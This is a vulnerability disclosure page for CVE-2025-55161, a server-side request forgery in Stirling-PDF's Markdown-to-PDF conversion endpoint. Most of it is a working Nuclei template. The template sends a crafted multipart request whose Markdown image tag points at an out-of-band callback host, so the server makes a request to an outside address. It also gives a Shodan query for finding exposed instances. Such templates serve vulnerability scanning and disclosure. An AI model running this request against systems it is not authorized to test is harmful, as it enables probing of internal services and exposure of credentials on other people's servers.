CVE-2025-55161: Stirling-PDF SSRF via Markdown

2025-08-01 Stirling-PDF PoC Public

Description

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.

PoC

id: CVE-2025-55161

info:
  name: Stirling-PDF SSRF via Markdown
  author: beginee
  severity: high
  description: |
    Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
  impact: |
    Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.
  remediation: This issue has been patched in version 1.1.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55161
    - https://github.com/Stirling-Tools/Stirling-PDF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2025-55161
    cwe-id: CWE-918
    epss-score: 0.01999
    epss-percentile: 0.79709
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Stirling PDF"
  tags: cve,cve2025,ssrf,stirling-pdf,pdf,markdown,oast,oob,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /api/v1/convert/markdown/pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK

        ------WebKitFormBoundaryvAfAbBmFpYrQfooK
        Content-Disposition: form-data; name="fileInput"; filename="{{filename}}.md"
        Content-Type: application/octet-stream

        <img src='http://{{interactsh-url}}/' />
        ------WebKitFormBoundaryvAfAbBmFpYrQfooK--

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(content_type, "application/pdf")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100a65ee74448d4e26448edc1eaa746da4d599d35c40f88289e60121ede6e82404302200698862a310e35cb0d80e09ae22dbb897483ed6a29fefbeed8b242a07973f0f3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities